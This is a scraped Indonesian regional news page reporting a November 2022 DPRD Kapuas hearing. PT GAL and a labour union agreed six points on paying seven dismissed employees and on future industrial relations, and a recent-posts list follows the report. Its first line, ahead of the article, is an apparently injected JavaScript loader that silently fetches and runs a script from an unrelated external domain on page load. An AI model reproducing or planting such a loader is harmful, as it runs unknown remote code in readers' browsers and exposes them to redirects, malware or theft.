(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

DPRD Kapuas RDP dengan PT GAL dan Serikat Buruh Penyelesaian Hak Karyawan, Ini Enam Poin Kesepakatan


KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas melalui Komisi II dan Komisi IV menggelar Rapat Dengar Pendapat (RDP) dengan PT Globalindo Agung Lestari (GAL), Senin (7/11/2022).

RDP berlangsung di ruang rapat gabungan DPRD Kapuas ini dihadiri Serikat Buruh Sejahtera mandiri (SBSM) PT GAL, Dinas Tenaga Kerja Kabupaten Kapuas, dan PT GAL.

Rapat dipimpin Ketua Komisi IV DPRD Kapuas, Syarkawi H Sibu, didampingi Wakil Ketua Komisi II DPRD Kapuas, H Darwandie dan sejumlah anggota dewan, dengan agenda penyelesaian hak terakhir 7 karyawan PT GAL.

Setelah dilakukan diskusi, disepakati enam poin hasil RDP yang dituangkan ke dalam berita acara rapat.

 

Baca juga : Kontingen Tanbu Sementara Raih 38 Medali di Ajang Porprov Kalsel

“Pertama PT GAL siap membayarkan hak tujuh orang karyawan yang telah dilakukan pemutusan hubungan kerja yang direalisasikan hari ini sebagai tindak lanjut kesepakatan bersama antara Serikat Buruh Sejahtera Mandiri dengan PT GAL pada 21 Juli 2022,” kata Syarkawi seusai pimpin rapat.

Kedua, SBBM dan PT GAL segera menginformasikan kepada pihak pengadilan hubungan industrial terkait dengan penyelesaian perjanjian bersama pada 27 Oktober 2022 .

“Ketiga, perusahaan dan serikat buruh berkomitmen membangun komunikasi hubungan industrial secara baik,” ucap Syarkawi.

Poin keempat, eksekutif menjadwalkan pertemuan secara rutin atau berkala antara pemerintah daerah, perusahaan dan pekerja.

 

Baca juga : Catat Rekor MURI, Turdes Gubernur Kalsel Tempuh Jarak 1.000 Km

“Kelima diminta kepada perusahaan untuk memberikan fasilitas dan kesempatan pada penduduk lokal menduduki jabatan strategis di perusahaan, sesuai dengan standar kualifikasi yang dibutuhkan,” jelasnya.

Lalu, poin keenam pihak perusahaan berkontribusi aktif dalam membangun daerah melalui program CSR an kewajiban membayar pajak, serta kontribusi lainnya.

Sementara itu, HRD Manajer PT GAL, Firman mengatakan, sesuai dengan surat berita acara hasil RDP di DPRD Kapuas, sebenarnya permasalahan ini sudah selesai tapi tertunda sampai harus ada terjadi RDP. “Ke depannya tentunya PT GAL berkomitmen seperti selama ini hak-hak karyawan pastinya asal sesuai normatif pasti kita selesaikan,” ucap Firman. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

12 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

12 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

18 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.